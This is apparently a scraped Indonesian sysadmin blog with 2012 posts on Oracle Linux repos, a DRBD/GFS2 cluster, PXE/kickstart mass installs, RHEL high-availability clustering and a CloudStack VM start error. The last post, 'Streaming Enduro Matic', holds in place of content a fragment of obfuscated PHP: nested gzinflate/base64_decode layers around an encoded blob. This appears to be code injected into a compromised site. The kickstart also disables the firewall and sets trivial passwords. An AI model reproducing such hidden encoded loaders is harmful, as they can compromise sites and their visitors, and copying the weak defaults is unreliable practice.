--2012-12-27 00:07:14--  http://public-yum.oracle.com/public-yum-ol6.repo
Resolving public-yum.oracle.com... 141.146.44.34
Connecting to public-yum.oracle.com|141.146.44.34|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2201 (2.1K) [text/plain]
Saving to: “public-yum-ol6.repo”
 
100%[================================================================>] 2,201       --.-K/s   in 0s      
 
2012-12-27 00:07:20 (200 MB/s) - “public-yum-ol6.repo” saved [2201/2201]


# more public-yum-ol6.repo 
[ol6_latest]
name=Oracle Linux $releasever Latest ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/latest/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=1
 
[ol6_addons]
name=Oracle Linux $releasever Add ons ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/addons/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=0
 
[ol6_ga_base]
name=Oracle Linux $releasever GA installation media copy ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/0/base/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=0
 
[ol6_u1_base]
name=Oracle Linux $releasever Update 1 installation media copy ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/1/base/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=0
 
[ol6_u2_base]
name=Oracle Linux $releasever Update 2 installation media copy ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/2/base/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=0
 
[ol6_u3_base]
name=Oracle Linux $releasever Update 3 installation media copy ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/3/base/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=0
 
[ol6_UEK_latest]
name=Latest Unbreakable Enterprise Kernel for Oracle Linux $releasever ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/UEK/latest/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=1
 
[ol6_UEK_base]
name=Unbreakable Enterprise Kernel for Oracle Linux $releasever ($basearch)
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/UEK/base/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=0
 
[ol6_playground_latest]
name=Latest mainline stable kernel for Oracle Linux 6 ($basearch) - Unsupported 
baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/playground/latest/$basearch/
gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
gpgcheck=1
enabled=0


Slowly fade away…

  ozzie / 16/12/2012

Thanks all..



[Cluster Storage] DRBD – GFS2

  ozzie / 30/11/2012

Bahan dasar:
- DRBD www.drbd.org | wiki
- GFS2 (http://en.wikipedia.org/wiki/GFS2

1. /etc/cluster/cluster.conf

<?xml version="1.0"?>
<cluster alias="kandang-monyet" config_version="14" name="kandang-monyet">
  <rm log_level="4"/>
  <fence_daemon clean_start="1" post_fail_delay="0" post_join_delay="3"/>
  <clusternodes>
    <clusternode name="node1" nodeid="1" votes="1">
      <fence>
        <method name="2">
          <device name="LastResortNode01"/>
        </method>
      </fence>
    </clusternode>
    <clusternode name="node2" nodeid="2" votes="1">
      <fence>
        <method name="2">
          <device name="LastResortNode02"/>
        </method>
      </fence>
    </clusternode>
  </clusternodes>
  <cman expected_votes="1" two_node="1"/>
  <fencedevices>
    <fencedevice agent="fence_manual" name="LastResortNode01" nodename="node1"/>
    <fencedevice agent="fence_manual" name="LastResortNode02" nodename="node2"/>
  </fencedevices>
  <rm/>
  <totem consensus="4800" join="60" token="10000" token_retransmits_before_loss_const="20"/>
</cluster>

2. /etc/drbd.conf

global { usage-count no; }
resource res0 {
  protocol C;
  startup { become-primary-on both;  wfc-timeout 10; degr-wfc-timeout     30; }
  disk { on-io-error detach; 
#fencing resource-and-stonith;
} 
net {   
    after-sb-0pri discard-zero-changes;
    after-sb-1pri discard-secondary;
    after-sb-2pri disconnect;
    allow-two-primaries; 
    cram-hmac-alg "sha1"; 
    shared-secret "m0ny3t"; 
} 
 
syncer { rate 10M; }
 
on node1.kebonbinatang.org {
    device /dev/drbd0;
    disk /dev/sdb;
    address 10.0.5.2:7788;
    meta-disk internal;
}
 
on node2.kebonbinatang.org {
    device /dev/drbd0;
    disk /dev/sdb;
    address 10.0.5.3:7788;
    meta-disk internal;
}
# handlers { outdate-peer "/sbin/kill-peer.sh";  }
}

3. Format dengan GFS2 filesystem

[root@node1]# mkfs.gfs2 -p lock_dlm -t kandang-monyet:res0 /dev/drbd0 -j 2
This will destroy any data on /dev/drbd0.
Are you sure you want to proceed? [y/n] y
 
Device:                    /dev/drbd0
Blocksize:                 4096
Device Size                20.00 GB (5242966 blocks)
Filesystem Size:           20.00 GB (5242963 blocks)
Journals:                  2
Resource Groups:           81
Locking Protocol:          "lock_dlm"
Lock Table:                "kandang-monyet:res0"
UUID:                      10F88180-62F7-0744-8E8B-FEE249A4D50D

4. Mounting
jangan lupa mounting pakek option noatime & nodiratime..

[root@node1]#  mount -o noatime,nodiratime /dev/drbd0 /mnt


PXE installer

  ozzie / 27/11/2012

just share & sekedar dokumentasi:
mungkin judulnya Gado-gado dari PXE (Preboot eXecution Environment) installer cross distro :)) :))

jika sekedar install system cluster linux pada 1, 2, 3 atau 5 mungkin gak ada masalah :-??
tapi…. jika install cluster di 100?… 200?… 500 mesin linux? atau lebih?? demi High-Availability 8-> cabut colok monitor keyboard? apeee dehh 8-} 8-}

mungkin lebih tepatnya: “create RedHat/CentOS automatic installer dgn TFTp / Kickstart & NFS di slackware” cmmiw :">

1. TFTP
untuk slackware ada 2 cara mengaktifkan service tftp:
- via service rc.inetd (/etc/inet.d.conf)

tftp  dgram   udp     wait    root    /usr/sbin/in.tftpd  in.tftpd -s /tftpboot -r blksize

- atau create init script (/etc/rc.d/rc.tftpd)

#!/bin/sh
# Start/stop/restart the IPv4 Trivial File Transfer Protocol server (in.tftpd)
# Written for Slackware Linux by Erik Jan Tromp
 
tftpd_start() {
  if [ -x /usr/sbin/in.tftpd ]; then
    echo "Starting in.tftpd:  /usr/sbin/in.tftpd -l -s /tftpboot/"
    /usr/sbin/in.tftpd -l -s /tftpboot/
  fi
}
 
tftpd_stop() {
  killall in.tftpd
}
 
tftpd_restart() {
  tftpd_stop
  sleep 1
  tftpd_start
}
 
case "$1" in
'start')
  tftpd_start
  ;;
'stop')
  tftpd_stop
  ;;
'restart')
  tftpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

buat direktory /tftpboot & copy pxelinux.0 dari CD/DVD RedHat/CentOS & create pxelinux.cfg

# mkdir /tftpboot
# mkdir /tftpboot/pxelinux.cfg
#
# cp /mnt/cdrom/images/pxelinux.0  /tftpboot/pxelinux.0
# cd /tftpboot/pxelinux.cfg
# vi default

isi dari file konfigurasi default tftpboot:

default RHEL-Kickstart
label RHEL-Kickstart
  kernel isolinux/vmlinuz
  append initrd=isolinux/initrd.img text  ks=nfs:10.0.5.250:/tftpboot/kickstart/default.ks ksdevice=eth0

2. DHCP
- init script dhcp (/etc/rc.d/rc.dhcpd)

#!/bin/sh
# Start/stop/restart the DHCP Server (dhcpd)
# Written for Slackware Linux by Erik Jan Tromp
dhcpd_start() {
  if [ -x /usr/sbin/dhcpd -a -f /etc/dhcpd.conf ]; then
    echo "Starting dhcpd:  /usr/sbin/dhcpd -q eth0"
    /usr/sbin/dhcpd -q eth0
  fi
}
 
dhcpd_stop() {
  if [ -r /var/run/dhcpd.pid ] ; then
    kill `cat /var/run/dhcpd.pid`
  else
    killall dhcpd
  fi
}
 
dhcpd_restart() {
  dhcpd_stop
  sleep 1
  dhcpd_start
}
 
case "$1" in
'start')
  dhcpd_start
  ;;
'stop')
  dhcpd_stop
  ;;
'restart')
  dhcpd_restart
  ;;
*)
  echo "usage: $0 start|stop|restart"
esac

- konfigurasi DHCP (/etc/dhcpd.conf)

# dhcpd.conf
#
# Configuration file for ISC dhcpd
#
allow bootp;
 
 
subnet 10.0.5.0 netmask 255.255.255.0 {
    option domain-name "kebonbinatang.org";
    option broadcast-address 10.0.5.255;
    option subnet-mask 255.255.255.0;
    option routers 10.0.5.254;
}
 
group {
  next-server 10.0.5.250;          
  filename "/pxelinux.0";
 
  host node1 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.1;
  }
  host node2 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
	fixed-address 10.0.5.2;
  }
  host node3 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.3;
  }
  host node4 {
        hardware ethernet xx:xx:xx:xx:xx:xx;
        fixed-address 10.0.5.4;
  }
 
  ... Dan SeTerusnya....
}

3. NFS
- aktifkan service nfs & rpc

# chmod +x /etc/rc.nfsd
# chmod +x /etc/rc.rpc

- edit file /etc/exports

/tftpboot       10.0.5.0/24(ro,sync,insecure,all_squash)

4. Source Installer
- copy semua isi CD/DVD & buat file konfigurasi kickstart

# cp -rvf /mnt/cdrom /tftpboot
# mkdir /tftpboot/kickstart

- edit file /tftpboot/kickstart/default.ks

text   #text base installation
install  #fresh install
network --device=eth0 --bootproto=dhcp  --noipv6 #configure network based on alokasi dhcp
nfs --server=10.0.5.250 --dir=/tftpboot  #media pd saat install
lang en_US.UTF-8
keyboard us  #keyboard map
rootpw passwordnya-siroot 
#firewall --service=ssh #enable ssh
firewall --disabled  #disable firewall.. cuma lokal no public
selinux --enforcing
authconfig --enableshadow --enablemd5
timezone Asia/Jakarta
bootloader --location=mbr --append="noexec=off"
skipx
reboot  #udh beres auto reboot
zerombr yes 
clearpart --all --initlabel  #bantai partisi
part /boot --fstype ext3 --size=150 --ondisk=sda #bikin partisi boot
part pv.01 --size=1 --grow --ondisk=sda # LVM
part pv.02 --size=1 --grow --ondisk=sda
volgroup rootvg pv.01
volgroup satvg pv.02
logvol /    --vgname=rootvg --size=xxxxxx --name=rootvol
logvol swap --vgname=rootvg --size=xxxxxx --name=swapvol
auth  --useshadow  --enablemd5
 
%packages 
@core
@high-availability
mc
drbd
 
%post
(
/bin/echo "Welcome to $HOSTNAME " > /etc/motd 
/bin/echo "Built from kickstart version $VER " >> /etc/motd
/bin/echo " " >> /etc/motd
 
## sedikit tweak
cat >> /etc/sysctl.conf << EOF
fs.aio-max-size = 1048576
fs.file-max = 327680
net.core.rmem_max = 262144
net.core.wmem_max = 262144
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.ipv4.ip_local_port_range = 1024 65000
net.ipv4.ip_forward = 0
kernel.shmmax = 2147483648
kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
EOF
 
# Add  user sesuka hati
useradd -c "user cacad" -d /home/cacad cacad
echo cacad | passwd --stdin cacad
 
#edit host
cat > /etc/hosts << EOF
127.0.0.1       localhost.localdomain           localhost
10.0.5.1		node1.kebonbinatang.org	node1
10.0.5.2		node2.kebonbinatang.org	node2
10.0.5.3		node3.kebonbinatang.org	node3
10.0.5.4		node4.kebonbinatang.org	node4
10.0.5.5		node5.kebonbinatang.org	node5
10.0.5.6		node6.kebonbinatang.org	node6
10.0.5.7		node7.kebonbinatang.org	node7
10.0.5.8		node8.kebonbinatang.org	node8
dst
EOF
 
/sbin/chkconfig iptables off
/sbin/chkconfig ip6tables off
/sbin/chkconfig isdn off
/sbin/chkconfig postfix off
/sbin/chkconfig cman on
/sbin/chkconfig iscsi off
/sbin/chkconfig iscsid off
/sbin/chkconfig ntpd  off
/sbin/chkconfig sandbox off
 
 
# Turn some services on and off
) > /tmp/kickstart-install.log 2>&1

mungkin segini dulu sambil beresin dokumentasi.. 8-}



Clustering Linux [HA]

  ozzie / 15/11/2012

Linux Cluster (RHEL / CentOS)

Cluster Node

# yum groupinstall "High Availability"

Cluster Management Node

# yum groupinstall "High Availability Management"

Copy config file (/etc/cluster/cluster.conf) ke semua node

<?xml version="1.0"?>
<cluster config_version="11" name="Kandang-Monyet">
	<clusternodes>
		<clusternode name="node-1" nodeid="1"/>
		<clusternode name="node-2" nodeid="2"/>
	</clusternodes>
	<logging debug="on" syslog_facility="syslog" syslog_priority="debug"/>
	<cman expected_votes="1" two_node="1"/>
	<rm>
		<resources>
			<apache config_file="conf/httpd.conf" name="web" server_root="/etc/httpd" shutdown_wait="1"/>
		</resources>
		<failoverdomains>
			<failoverdomain name="kandang-1" ordered="1">
				<failoverdomainnode name="node-1"/>
				<failoverdomainnode name="node-2"/>
			</failoverdomain>
		</failoverdomains>
		<service exclusive="1" name="web-HA" recovery="relocate">
			<apache ref="web"/>
		</service>
	</rm>
</cluster>

Cluster Node:

# chkconfig ricci on
# chkconfig cman on
# chkconfig rgmanager on
# chkconfig modclusterd on
#
# passwd ricci
#
# service ricci start
# service cman start
# service rgmanager start
# service modclusterd start

Cluster Management Node:

# chkconfig luci on
# chkconfig ricci on
#
# service luci start
# service ricci start

https://cluster management node FQDN / hostname:8084/

*ref:
http://www.jethrocarr.com/wp-content/uploads/2010/09/introduction_linux_clustering_1.1.pdf
https://access.redhat.com/knowledge/docs/enUS/Red_Hat_Enterprise_Linux/6/html/High_Availability_Add-On_Overview/s1-virt-guestcluster.html
http://miao5.blogspot.com/2008/12/xen-fencing-in-rhel5.html



monitoring with Observium

  ozzie / 12/11/2012

dari sekian banyak aplikasi monitoring (web-based) { cacti | jffnms | mrtg | nagios | munin | monit | opennms| etc }
mungkin Observium lumayan cukup lengkap, lite & infomatif.. cmiiw :D

untuk proses instalasi relatif mudah.. cmiiw :D sekian.. segini dulu.. hihihi



Unable to start VM [cloudstack]

  ozzie / 02/11/2012

mungkin beberapa pesan error yg pernah dialami.. dengan banyaknya jumlah vm pada host-host cloudstack:

WARN  [xen.resource.CitrixResourceBase] (DirectAgent-318:null) Task failed! Task record:                 uuid: 7d57a198-339b-7588-9678-fcc9442d1a85
           nameLabel: Async.VM.start_on
     nameDescription: 
   allowedOperations: []
   currentOperations: {}
             created: Thu Nov 01 22:06:24 WIT 2012
            finished: Thu Nov 01 22:05:58 WIT 2012
              status: FAILURE
          residentOn: com.xensource.xenapi.Host@658287be
            progress: 1.0
                type: <none/>
              result: 
           errorInfo: [SR_BACKEND_FAILURE_46, , The VDI is not available [opterr=VDI 97e7ccc0-38de-4e80-b8ef-1aa4a2fb1c39 already attached RW]]
         otherConfig: {}
           subtaskOf: com.xensource.xenapi.Task@aaf13f6f
            subtasks: []
 
WARN  [xen.resource.CitrixResourceBase] (DirectAgent-318:null) Unable to start VM(i-2-37-VM) on host(42ee82e2-37ef-4f06-a142-13415e377e15) due to Task failed! Task record:                 uuid: 7d57a198-339b-7588-9678-fcc9442d1a85
           nameLabel: Async.VM.start_on
     nameDescription: 
   allowedOperations: []
   currentOperations: {}
             created: Thu Nov 01 22:06:24 WIT 2012
            finished: Thu Nov 01 22:05:58 WIT 2012
              status: FAILURE
          residentOn: com.xensource.xenapi.Host@658287be
            progress: 1.0
                type: <none/>
              result: 
           errorInfo: [SR_BACKEND_FAILURE_46, , The VDI is not available [opterr=VDI 97e7ccc0-38de-4e80-b8ef-1aa4a2fb1c39 already attached RW]]
         otherConfig: {}
           subtaskOf: com.xensource.xenapi.Task@aaf13f6f
            subtasks: []
 
Task failed! Task record:                 uuid: 7d57a198-339b-7588-9678-fcc9442d1a85
           nameLabel: Async.VM.start_on
     nameDescription: 
   allowedOperations: []
   currentOperations: {}
             created: Thu Nov 01 22:06:24 WIT 2012
            finished: Thu Nov 01 22:05:58 WIT 2012
              status: FAILURE
          residentOn: com.xensource.xenapi.Host@658287be
            progress: 1.0
                type: <none/>
              result: 
           errorInfo: [SR_BACKEND_FAILURE_46, , The VDI is not available [opterr=VDI 97e7ccc0-38de-4e80-b8ef-1aa4a2fb1c39 already attached RW]]
         otherConfig: {}
           subtaskOf: com.xensource.xenapi.Task@aaf13f6f
            subtasks: []
 
	at com.cloud.hypervisor.xen.resource.CitrixResourceBase.checkForSuccess(CitrixResourceBase.java:2768)
	at com.cloud.hypervisor.xen.resource.CitrixResourceBase.startVM(CitrixResourceBase.java:2880)
	at com.cloud.hypervisor.xen.resource.CitrixResourceBase.execute(CitrixResourceBase.java:1107)
	at com.cloud.hypervisor.xen.resource.CitrixResourceBase.executeRequest(CitrixResourceBase.java:466)
	at com.cloud.hypervisor.xen.resource.XenServer56Resource.executeRequest(XenServer56Resource.java:69)
	at com.cloud.agent.manager.DirectAgentAttache$Task.run(DirectAgentAttache.java:187)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471)
	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334)
	at java.util.concurrent.FutureTask.run(FutureTask.java:166)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$101(ScheduledThreadPoolExecutor.java:165)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:266)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603)
	at java.lang.Thread.run(Thread.java:679)

1. cek UUID & VM dgn XE VDI-LIST

xe vdi-list | grep -i <VM-NAME> -B2 -A2

2. buang virtual disk nya sesuai UUID:

xe vdi-forget uuid=<VDI-UUID>

3. scan SR:

xe sr-scan uuid=<SR-UUID>

4. start vm


semoga bermanfaat. :D



Research & Development

  ozzie / 09/07/2012

weekly activites

  ozzie / 05/07/2012

Streaming Enduro Matic

  ozzie / 27/05/2012
".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>